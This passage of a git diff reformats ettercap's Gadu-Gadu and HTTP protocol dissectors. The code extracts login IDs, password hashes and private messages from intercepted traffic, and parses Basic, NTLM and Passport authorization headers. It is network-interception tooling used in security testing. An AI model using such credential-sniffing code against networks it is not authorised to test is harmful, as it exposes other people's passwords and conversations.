ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_login60->uin, - gg_login60->hash, gg_login60->hash, - tbuf2, tbuf, - tbuf3, - gg_login60->local_ip[0], gg_login60->local_ip[1], gg_login60->local_ip[2], gg_login60->local_ip[3], - gg_login60->local_port, - gg_login60->remote_ip[0], gg_login60->remote_ip[1], gg_login60->remote_ip[2], gg_login60->remote_ip[3], - gg_login60->remote_port); -} -else if (gg->type == GG_LOGIN70_CMD) { - gg_get_status(gg_login70->status,tbuf); - gg_get_version(gg_login70->version,tbuf3); - if ((int)gg->len-92 < 0) - return NULL; - strncpy(tbuf2,gg_login70->description, (gg->len)-92); - tbuf2[(gg->len)-92]='\0'; - sprintf(user,"%u",gg_login70->uin); - PACKET->DISSECTOR.user = strdup(user); - sprintf(pass,"%X%X%X%X%X",gg_login70->hash[0],gg_login70->hash[1],gg_login70->hash[2],gg_login70->hash[3],gg_login70->hash[4]); - PACKET->DISSECTOR.pass = strdup(pass); - DISSECT_MSG("GG7 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X%.8X%.8X%.8X%.8X STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_login70->uin, - gg_login70->hash[4],gg_login70->hash[3],gg_login70->hash[2],gg_login70->hash[1],gg_login70->hash[0], - tbuf2, tbuf, - tbuf3, - gg_login70->local_ip[0], gg_login70->local_ip[1], gg_login70->local_ip[2], gg_login70->local_ip[3], - gg_login70->local_port, - gg_login70->remote_ip[0], gg_login70->remote_ip[1], gg_login70->remote_ip[2], gg_login70->remote_ip[3], - gg_login70->remote_port); -} -else if (gg->type == GG_SEND_MSG_CMD) { - if (!FROM_SERVER("gg", PACKET)) { - DISSECT_MSG("GG : %s:%d -> %s:%d - SEND_MSG RECIPIENT: %u MESSAGE: \"%s\"\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_send_msg->recipient, - gg_send_msg->message); + + if ((gg->type == GG_LOGIN50_CMD) && !FROM_SERVER("gg", PACKET)) { + gg_get_status(gg_login50->status, tbuf); + gg_get_version(gg_login50->version, tbuf3); + if ((int)gg->len - 22 < 0) + return NULL; + strncpy(tbuf2, gg_login50->description, (gg->len) - 22); + tbuf2[(gg->len) - 22] = '\0'; + sprintf(user, "%u", gg_login50->uin); + PACKET->DISSECTOR.user = strdup(user); + sprintf(pass, "%u", gg_login50->hash); + PACKET->DISSECTOR.pass = strdup(pass); + DISSECT_MSG("GG4/5 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X (%u) STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_login50->uin, + gg_login50->hash, gg_login50->hash, + tbuf2, tbuf, + tbuf3, + gg_login50->local_ip[0], gg_login50->local_ip[1], gg_login50->local_ip[2], gg_login50->local_ip[3], + gg_login50->local_port); + } else if (gg->type == GG_LOGIN60_CMD) { + gg_get_status(gg_login60->status, tbuf); + gg_get_version(gg_login60->version, tbuf3); + if ((int)gg->len - 31 < 0) + return NULL; + strncpy(tbuf2, gg_login60->description, (gg->len) - 31); + tbuf2[(gg->len) - 31] = '\0'; + sprintf(user, "%u", gg_login60->uin); + PACKET->DISSECTOR.user = strdup(user); + sprintf(pass, "%u", gg_login60->hash); + PACKET->DISSECTOR.pass = strdup(pass); + DISSECT_MSG("GG6 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X (%u) STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_login60->uin, + gg_login60->hash, gg_login60->hash, + tbuf2, tbuf, + tbuf3, + gg_login60->local_ip[0], gg_login60->local_ip[1], gg_login60->local_ip[2], gg_login60->local_ip[3], + gg_login60->local_port, + gg_login60->remote_ip[0], gg_login60->remote_ip[1], gg_login60->remote_ip[2], gg_login60->remote_ip[3], + gg_login60->remote_port); + } else if (gg->type == GG_LOGIN70_CMD) { + gg_get_status(gg_login70->status, tbuf); + gg_get_version(gg_login70->version, tbuf3); + if ((int)gg->len - 92 < 0) + return NULL; + strncpy(tbuf2, gg_login70->description, (gg->len) - 92); + tbuf2[(gg->len) - 92] = '\0'; + sprintf(user, "%u", gg_login70->uin); + PACKET->DISSECTOR.user = strdup(user); + sprintf(pass, "%X%X%X%X%X", gg_login70->hash[0], gg_login70->hash[1], gg_login70->hash[2], gg_login70->hash[3], gg_login70->hash[4]); + PACKET->DISSECTOR.pass = strdup(pass); + DISSECT_MSG("GG7 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X%.8X%.8X%.8X%.8X STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_login70->uin, + gg_login70->hash[4], gg_login70->hash[3], gg_login70->hash[2], gg_login70->hash[1], gg_login70->hash[0], + tbuf2, tbuf, + tbuf3, + gg_login70->local_ip[0], gg_login70->local_ip[1], gg_login70->local_ip[2], gg_login70->local_ip[3], + gg_login70->local_port, + gg_login70->remote_ip[0], gg_login70->remote_ip[1], gg_login70->remote_ip[2], gg_login70->remote_ip[3], + gg_login70->remote_port); + } else if (gg->type == GG_SEND_MSG_CMD) { + if (!FROM_SERVER("gg", PACKET)) { + DISSECT_MSG("GG : %s:%d -> %s:%d - SEND_MSG RECIPIENT: %u MESSAGE: \"%s\"\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_send_msg->recipient, + gg_send_msg->message); + } + } else if (gg->type == GG_RECV_MSG_CMD) { + DISSECT_MSG("GG : %s:%d -> %s:%d - RECV_MSG SENDER: %u MESSAGE: \"%s\"\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_recv_msg->sender, + gg_recv_msg->message); + } else if (gg->type == GG_WELCOME_CMD) { + DISSECT_MSG("GG : %s:%d -> %s:%d - WELCOME SEED: 0x%.8X (%u)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_welcome->seed, gg_welcome->seed); } -} -else if (gg->type == GG_RECV_MSG_CMD) { - DISSECT_MSG("GG : %s:%d -> %s:%d - RECV_MSG SENDER: %u MESSAGE: \"%s\"\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_recv_msg->sender, - gg_recv_msg->message); -} -else if (gg->type == GG_WELCOME_CMD) { - DISSECT_MSG("GG : %s:%d -> %s:%d - WELCOME SEED: 0x%.8X (%u)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_welcome->seed, gg_welcome->seed); -} #ifdef GG_CONTACTS_STATUS_CHANGES -else if ((gg->type == GG_STATUS_CMD) && FROM_SERVER("gg", PACKET)) { - gg_get_status(gg_status->status,tbuf); - if ((int)gg->len-8 < 0) - return NULL; - strncpy(tbuf2,gg_status->description, (gg->len)-8); - tbuf2[(gg->len)-8]='\0'; - DISSECT_MSG("GG : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_status->uin, - tbuf2, tbuf); -} + else if ((gg->type == GG_STATUS_CMD) && FROM_SERVER("gg", PACKET)) { + gg_get_status(gg_status->status, tbuf); + if ((int)gg->len - 8 < 0) + return NULL; + strncpy(tbuf2, gg_status->description, (gg->len) - 8); + tbuf2[(gg->len) - 8] = '\0'; + DISSECT_MSG("GG : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_status->uin, + tbuf2, tbuf); + } #endif -else if ((gg->type == GG_NEW_STATUS_CMD) && !FROM_SERVER("gg", PACKET)) { - gg_get_status(gg_new_status->status,tbuf); - if ((int)gg->len-4 < 0) - return NULL; - strncpy(tbuf2,gg_new_status->description, (gg->len)-4); - tbuf2[(gg->len)-4]='\0'; + else if ((gg->type == GG_NEW_STATUS_CMD) && !FROM_SERVER("gg", PACKET)) { + gg_get_status(gg_new_status->status, tbuf); + if ((int)gg->len - 4 < 0) + return NULL; + strncpy(tbuf2, gg_new_status->description, (gg->len) - 4); + tbuf2[(gg->len) - 4] = '\0'; DISSECT_MSG("GG : %s:%d -> %s:%d - NEW STATUS STATUS: %s (%s)\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - tbuf2, tbuf); -} + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + tbuf2, tbuf); + } #ifdef GG_CONTACTS_STATUS_CHANGES -else if ((gg->type == GG_STATUS50_CMD) && FROM_SERVER("gg", PACKET)) { - gg_get_status(gg_status50->status,tbuf); - gg_get_version(gg_status50->version,tbuf3); - if ((int)gg->len-20 < 0) - return NULL; - strncpy(tbuf2,gg_status50->description, (gg->len)-20); - tbuf2[(gg->len)-20]='\0'; + else if ((gg->type == GG_STATUS50_CMD) && FROM_SERVER("gg", PACKET)) { + gg_get_status(gg_status50->status, tbuf); + gg_get_version(gg_status50->version, tbuf3); + if ((int)gg->len - 20 < 0) + return NULL; + strncpy(tbuf2, gg_status50->description, (gg->len) - 20); + tbuf2[(gg->len) - 20] = '\0'; DISSECT_MSG("GG4/5 : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s) VERSION: %s RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_status50->uin, - tbuf2, tbuf, - tbuf3, - gg_status50->remote_ip[0], gg_status50->remote_ip[1], gg_status50->remote_ip[2], gg_status50->remote_ip[3], - gg_status50->remote_port); -} -else if (gg->type == GG_STATUS60_CMD) { - gg_get_status(gg_status60->status,tbuf); - gg_get_version(gg_status60->version,tbuf3); - if ((int)gg->len-14 < 0) - return NULL; - strncpy(tbuf2,gg_status60->description, (gg->len)-14); - tbuf2[(gg->len)-14]='\0'; + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + gg_status50->uin, + tbuf2, tbuf, + tbuf3, + gg_status50->remote_ip[0], gg_status50->remote_ip[1], gg_status50->remote_ip[2], gg_status50->remote_ip[3], + gg_status50->remote_port); + } else if (gg->type == GG_STATUS60_CMD) { + gg_get_status(gg_status60->status, tbuf); + gg_get_version(gg_status60->version, tbuf3); + if ((int)gg->len - 14 < 0) + return NULL; + strncpy(tbuf2, gg_status60->description, (gg->len) - 14); + tbuf2[(gg->len) - 14] = '\0'; DISSECT_MSG("GG6 : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s) VERSION: %s RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - (gg_status60->uin & 0x00ffffff), - tbuf2, tbuf, - tbuf3, - gg_status60->remote_ip[0], gg_status60->remote_ip[1], gg_status60->remote_ip[2], gg_status60->remote_ip[3], - gg_status60->remote_port); -} -else if (gg->type == GG_STATUS70_CMD) { - gg_get_status(gg_status70->status,tbuf); - if ((int)gg->len-18 < 0) - return NULL; - gg_get_version(gg_status70->version,tbuf3); - strncpy(tbuf2,gg_status70->description, (gg->len)-18); - tbuf2[(gg->len)-18]='\0'; + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + (gg_status60->uin & 0x00ffffff), + tbuf2, tbuf, + tbuf3, + gg_status60->remote_ip[0], gg_status60->remote_ip[1], gg_status60->remote_ip[2], gg_status60->remote_ip[3], + gg_status60->remote_port); + } else if (gg->type == GG_STATUS70_CMD) { + gg_get_status(gg_status70->status, tbuf); + if ((int)gg->len - 18 < 0) + return NULL; + gg_get_version(gg_status70->version, tbuf3); + strncpy(tbuf2, gg_status70->description, (gg->len) - 18); + tbuf2[(gg->len) - 18] = '\0'; DISSECT_MSG("GG7 : %s:%d -> %s:%d - STATUS CHANGED UIN: %u STATUS: %s (%s) VERSION: %s RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - (gg_status70->uin & 0x00ffffff), - tbuf2, tbuf, - tbuf3, - gg_status70->remote_ip[0], gg_status70->remote_ip[1], gg_status70->remote_ip[2], gg_status70->remote_ip[3], - gg_status70->remote_port); -} + ntohs(PACKET->L4.src), + ip_addr_ntoa(&PACKET->L3.dst, tmp2), + ntohs(PACKET->L4.dst), + (gg_status70->uin & 0x00ffffff), + tbuf2, tbuf, + tbuf3, + gg_status70->remote_ip[0], gg_status70->remote_ip[1], gg_status70->remote_ip[2], gg_status70->remote_ip[3], + gg_status70->remote_port); + } #endif /* -else { - DISSECT_MSG("GG : %s:%d -> %s:%d - CMD TYPE: %.8X (%d) LEN: %.8X (%d) DLEN: %d\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg->type, gg->type, gg->len, gg->len, PACKET->DATA.len); -} -*/ + * else { + * DISSECT_MSG("GG : %s:%d -> %s:%d - CMD TYPE: %.8X (%d) LEN: %.8X (%d) DLEN: %d\n", ip_addr_ntoa(&PACKET->L3.src, tmp), + * ntohs(PACKET->L4.src), + * ip_addr_ntoa(&PACKET->L3.dst, tmp2), + * ntohs(PACKET->L4.dst), + * gg->type, gg->type, gg->len, gg->len, PACKET->DATA.len); + * } + */ SAFE_FREE(tbuf); SAFE_FREE(tbuf2); SAFE_FREE(tbuf3); - + return NULL; } -void gg_get_status(u_int32 status, char *str) { - -switch ((status&0x00ff)) { +void gg_get_status(u_int32 status, char *str) +{ -case 0x0014: - strcpy(str,"invisible"); - break; + switch ((status & 0x00ff)) { -case 0x0002: - strcpy(str,"available"); - break; + case 0x0014: + strcpy(str, "invisible"); + break; -case 0x0003: - strcpy(str,"busy"); - break; + case 0x0002: + strcpy(str, "available"); + break; -case 0x0006: - strcpy(str,"blocked"); - break; + case 0x0003: + strcpy(str, "busy"); + break; -case 0x0001: - strcpy(str,"not available"); - break; + case 0x0006: + strcpy(str, "blocked"); + break; -case 0x0016: - strcpy(str,"invisible + descr"); - break; + case 0x0001: + strcpy(str, "not available"); + break; -case 0x0004: - strcpy(str,"available + descr"); - break; + case 0x0016: + strcpy(str, "invisible + descr"); + break; -case 0x0005: - strcpy(str,"busy + descr"); - break; + case 0x0004: + strcpy(str, "available + descr"); + break; -case 0x0015: - strcpy(str,"not available + descr"); - break; + case 0x0005: + strcpy(str, "busy + descr"); + break; -default: - strcpy(str,"unknown"); -} + case 0x0015: + strcpy(str, "not available + descr"); + break; -if ((status&0xff00)==0x8000) - strcat(str," + private"); + default: + strcpy(str, "unknown"); + } + if ((status & 0xff00) == 0x8000) + strcat(str, " + private"); } -void gg_get_version(u_int32 version, char *str) { - -switch ((version&0x00ff)) { - -case 0x0000002A: - strcpy(str,"7.7"); - break; - -case 0x00000029: - strcpy(str,"7.6"); - break; - -case 0x00000024: - strcpy(str,"6.1/7.6"); - break; - -case 0x00000028: - strcpy(str,"7.5"); - break; - -case 0x00000027: -case 0x00000026: -case 0x00000025: - strcpy(str,"7.0"); - break; - -case 0x00000022: -case 0x00000021: -case 0x00000020: - strcpy(str,"6.0"); - break; - -case 0x0000001E: -case 0x0000001C: - strcpy(str,"5.7"); - break; - -case 0x0000001B: -case 0x00000019: - strcpy(str,"5.0"); - break; - -case 0x00000018: - strcpy(str,"5.0/4.9"); - break; - -case 0x00000017: -case 0x00000016: - strcpy(str,"4.9"); - break; - -case 0x00000015: -case 0x00000014: - strcpy(str,"4.8"); - break; - -case 0x00000011: - strcpy(str,"4.6"); - break; - -case 0x00000010: -case 0x0000000f: - strcpy(str,"4.5"); - break; - -case 0x0000000b: - strcpy(str,"4.0"); - break; - -default: - sprintf(str,"unknown (0x%X)",version); -} +void gg_get_version(u_int32 version, char *str) +{ -if ((version&0xf0000000)==0x40000000) - strcat(str," + has audio"); + switch ((version & 0x00ff)) { + + case 0x0000002A: + strcpy(str, "7.7"); + break; + + case 0x00000029: + strcpy(str, "7.6"); + break; + + case 0x00000024: + strcpy(str, "6.1/7.6"); + break; + + case 0x00000028: + strcpy(str, "7.5"); + break; + + case 0x00000027: + case 0x00000026: + case 0x00000025: + strcpy(str, "7.0"); + break; + + case 0x00000022: + case 0x00000021: + case 0x00000020: + strcpy(str, "6.0"); + break; + + case 0x0000001E: + case 0x0000001C: + strcpy(str, "5.7"); + break; + + case 0x0000001B: + case 0x00000019: + strcpy(str, "5.0"); + break; + + case 0x00000018: + strcpy(str, "5.0/4.9"); + break; + + case 0x00000017: + case 0x00000016: + strcpy(str, "4.9"); + break; + + case 0x00000015: + case 0x00000014: + strcpy(str, "4.8"); + break; + + case 0x00000011: + strcpy(str, "4.6"); + break; + + case 0x00000010: + case 0x0000000f: + strcpy(str, "4.5"); + break; + + case 0x0000000b: + strcpy(str, "4.0"); + break; + + default: + sprintf(str, "unknown (0x%X)", version); + } -if ((version&0x0f000000)== 0x04000000) - strcat(str," + eraomnix"); + if ((version & 0xf0000000) == 0x40000000) + strcat(str, " + has audio"); + if ((version & 0x0f000000) == 0x04000000) + strcat(str, " + eraomnix"); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_http.c b/src/dissectors/ec_http.c index 0ce3cc8cf..9830b2fe9 100644 --- a/src/dissectors/ec_http.c +++ b/src/dissectors/ec_http.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector http and proxy -- TCP 80, 8080 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector http and proxy -- TCP 80, 8080 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -48,34 +48,34 @@ typedef struct { }tSmbStrHeader; typedef struct { - char ident[8]; - u_int32 msgType; + char ident[8]; + u_int32 msgType; }tSmbStdHeader; typedef struct { - char ident[8]; - u_int32 msgType; - tSmbStrHeader uDomain; - u_int32 flags; - u_int8 challengeData[8]; - u_int8 reserved[8]; - tSmbStrHeader emptyString; - u_int8 buffer[1024]; - u_int32 bufIndex; + char ident[8]; + u_int32 msgType; + tSmbStrHeader uDomain; + u_int32 flags; + u_int8 challengeData[8]; + u_int8 reserved[8]; + tSmbStrHeader emptyString; + u_int8 buffer[1024]; + u_int32 bufIndex; }tSmbNtlmAuthChallenge; typedef struct { - char ident[8]; - u_int32 msgType; - tSmbStrHeader lmResponse; - tSmbStrHeader ntResponse; - tSmbStrHeader uDomain; - tSmbStrHeader uUser; - tSmbStrHeader uWks; - tSmbStrHeader sessionKey; - u_int32 flags; - u_int8 buffer[1024]; - u_int32 bufIndex; + char ident[8]; + u_int32 msgType; + tSmbStrHeader lmResponse; + tSmbStrHeader ntResponse; + tSmbStrHeader uDomain; + tSmbStrHeader uUser; + tSmbStrHeader uWks; + tSmbStrHeader sessionKey; + u_int32 flags; + u_int8 buffer[1024]; + u_int32 bufIndex; }tSmbNtlmAuthResponse; struct http_field_entry { @@ -85,7 +85,6 @@ struct http_field_entry { static SLIST_HEAD(, http_field_entry) http_fields[2]; - /* protos */ FUNC_DECODER(dissector_http); void http_init(void); @@ -107,12 +106,12 @@ static char *unicodeToString(char *p, size_t len); static void dumpRaw(char *str, unsigned char *buf, size_t len); int http_fields_init(void); -#define CVAL(buf,pos) (((unsigned char *)(buf))[pos]) -#define PVAL(buf,pos) ((unsigned)CVAL(buf,pos)) -#define SVAL(buf,pos) (PVAL(buf,pos)|PVAL(buf,(pos)+1)<<8) -#define IVAL(buf,pos) (SVAL(buf,pos)|SVAL(buf,(pos)+2)<<16) +#define CVAL(buf, pos) (((unsigned char *)(buf))[pos]) +#define PVAL(buf, pos) ((unsigned)CVAL(buf, pos)) +#define SVAL(buf, pos) (PVAL(buf, pos) | PVAL(buf, (pos) + 1) << 8) +#define IVAL(buf, pos) (SVAL(buf, pos) | SVAL(buf, (pos) + 2) << 16) -#define GetUnicodeString(structPtr, header) unicodeToString(((char*)structPtr) + IVAL(&structPtr->header.offset,0) , SVAL(&structPtr->header.len,0)/2) +#define GetUnicodeString(structPtr, header) unicodeToString(((char *)structPtr) + IVAL(&structPtr->header.offset, 0), SVAL(&structPtr->header.len, 0) / 2) /************************************************/ @@ -128,7 +127,6 @@ void __init http_init(void) dissect_add("http", APP_LAYER_TCP, 80, dissector_http); } - FUNC_DECODER(dissector_http) { DECLARE_DISP_PTR_END(ptr, end); @@ -139,55 +137,58 @@ FUNC_DECODER(dissector_http) /* unused variable */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; /* XXX - This way we won't catch ProxyAuth on CONNECT */ - if (Check_CONNECT((char*)ptr, PACKET)) - return NULL; + if (Check_CONNECT((char *)ptr, PACKET)) + return NULL; /* HOOK POINT: HOOK_PROTO_HTTP */ hook_point(HOOK_PROTO_HTTP, PACKET); - + /* Parse client requests. - * Check the request type first. + * Check the request type first. */ if (FROM_CLIENT("http", PACKET) || FROM_CLIENT("proxy", PACKET) || FROM_CLIENT("https", PACKET)) { /* Check Proxy or WWW auth first * then password in the GET or POST. */ - if ((from_here = strstr((const char*)ptr, "Authorization: Passport")) && - Parse_Passport_Auth(from_here + strlen("Authorization: Passport"), PACKET)); - else if ((from_here = strstr((const char*)ptr, ": NTLM ")) && - Parse_NTLM_Auth((char*)ptr, from_here + strlen(": NTLM "), PACKET)); - else if ((from_here = strstr((const char*)ptr, ": Basic ")) && - Parse_Basic_Auth((char*)ptr, from_here + strlen(": Basic "), PACKET)); - else if ((from_here = strstr((const char*)ptr, "User-Agent: ")) && - Parse_User_Agent(end, from_here + strlen("User-Agent: "), PACKET)); - else if (!strncmp((const char*)ptr, "GET ", 4)) - Parse_Method_Get((char*)ptr + strlen("GET "), PACKET); - else if (!strncmp((const char*)ptr, "POST ", 5)) - Parse_Method_Post((char*)ptr + strlen("POST "), PACKET); + if ((from_here = strstr((const char *)ptr, "Authorization: Passport")) && + Parse_Passport_Auth(from_here + strlen("Authorization: Passport"), PACKET)) ; + else if ((from_here = strstr((const char *)ptr, ": NTLM ")) && + Parse_NTLM_Auth((char *)ptr, from_here + strlen(": NTLM "), PACKET)) + ; + else if ((from_here = strstr((const char *)ptr, ": Basic ")) && + Parse_Basic_Auth((char *)ptr, from_here + strlen(": Basic "), PACKET)) + ; + else if ((from_here = strstr((const char *)ptr, "User-Agent: ")) && + Parse_User_Agent(end, from_here + strlen("User-Agent: "), PACKET)) + ; + else if (!strncmp((const char *)ptr, "GET ", 4)) + Parse_Method_Get((char *)ptr + strlen("GET "), PACKET); + else if (!strncmp((const char *)ptr, "POST ", 5)) + Parse_Method_Post((char *)ptr + strlen("POST "), PACKET); else { dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_http)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct http_status *) s->data; - + conn_status = (struct http_status *)s->data; + /* Are we waiting for post termination? */ if (conn_status->c_status == POST_WAIT_DELIMITER || conn_status->c_status == POST_LAST_CHANCE) - Parse_Post_Payload((char*)ptr, conn_status, PACKET); + Parse_Post_Payload((char *)ptr, conn_status, PACKET); } SAFE_FREE(ident); - } + } } else { /* Server Replies */ - if (!strncmp((const char*)ptr, "HTTP", 4)) { - Get_Banner((char*)ptr, PACKET); + if (!strncmp((const char *)ptr, "HTTP", 4)) { + Get_Banner((char *)ptr, PACKET); /* Since the server replies there's no need to * wait for POST termination or client response @@ -195,12 +196,12 @@ FUNC_DECODER(dissector_http) dissect_wipe_session(PACKET, DISSECT_CODE(dissector_http)); /* Check Proxy or WWW Auth (server challenge) */ - /* XXX - Is the NTLM challenge always in the same + /* XXX - Is the NTLM challenge always in the same * packet as HTTP header? Otherwise put these lines * out from the if (decrease performances, checks all pcks) */ - if ((from_here = strstr((const char*)ptr, ": NTLM "))) - Parse_NTLM_Auth((char*)ptr, from_here + strlen(": NTLM "), PACKET); + if ((from_here = strstr((const char *)ptr, ": NTLM "))) + Parse_NTLM_Auth((char *)ptr, from_here + strlen(": NTLM "), PACKET); } } @@ -217,67 +218,67 @@ static int Check_CONNECT(char *ptr, struct packet_object *po) /* If we don't activate SSL wrappers we don't need to trace CONNECT */ if (!GBL_CONF->aggressive_dissectors || GBL_OPTIONS->unoffensive || GBL_OPTIONS->read) return 0; - + dissect_create_ident(&ident, po, DISSECT_CODE(dissector_http)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct http_status *) s->data; + conn_status = (struct http_status *)s->data; if (FROM_SERVER("proxy", po)) { - if (conn_status->c_status == PROXY_WAIT_OK && !strncmp(ptr + 8, " 200 ", 5)) + if (conn_status->c_status == PROXY_WAIT_OK && !strncmp(ptr + 8, " 200 ", 5)) conn_status->c_status = PROXY_WAIT_DELIMITER; - if (conn_status->c_status == PROXY_WAIT_DELIMITER && - (strstr(ptr, "\r\n\r\n") || (ptr[0]=='\r' && ptr[1]=='\n'))) { + if (conn_status->c_status == PROXY_WAIT_DELIMITER && + (strstr(ptr, "\r\n\r\n") || (ptr[0] == '\r' && ptr[1] == '\n'))) + { dissect_wipe_session(po, DISSECT_CODE(dissector_http)); po->flags |= PO_SSLSTART; SAFE_FREE(ident); return 1; } - } + } } else if (FROM_CLIENT("proxy", po) && !strncmp(ptr, "CONNECT ", 8)) { dissect_create_session(&s, po, DISSECT_CODE(dissector_http)); - SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); - conn_status = (struct http_status *) s->data; + SAFE_CALLOC(s->data, 1, sizeof(struct http_status)); + conn_status = (struct http_status *)s->data; conn_status->c_status = PROXY_WAIT_OK; session_put(s); } SAFE_FREE(ident); - if (conn_status && (conn_status->c_status == PROXY_WAIT_DELIMITER || conn_status->c_status == PROXY_WAIT_OK)) + if (conn_status && (conn_status->c_status == PROXY_WAIT_DELIMITER || conn_status->c_status == PROXY_WAIT_OK)) return 1; - + return 0; } -/* Get the server banner from the headers */ +/* Get the server banner from the headers */ static void Get_Banner(char *ptr, struct packet_object *po) { char *start, *end; u_int32 len; - - /* This is the banner of the remote + + /* This is the banner of the remote * server and not of the proxy */ - DEBUG_MSG("http - GET BANNER"); - + DEBUG_MSG("http - GET BANNER"); + if (FROM_SERVER("proxy", po)) - po->DISSECTOR.banner=strdup("Proxy"); + po->DISSECTOR.banner = strdup("Proxy"); else { /* Get the server version */ if ((start = strstr(ptr, "Server: ")) && (end = strstr(start, "\r"))) { start += strlen("Server: "); len = end - start; - - if (len>0 && 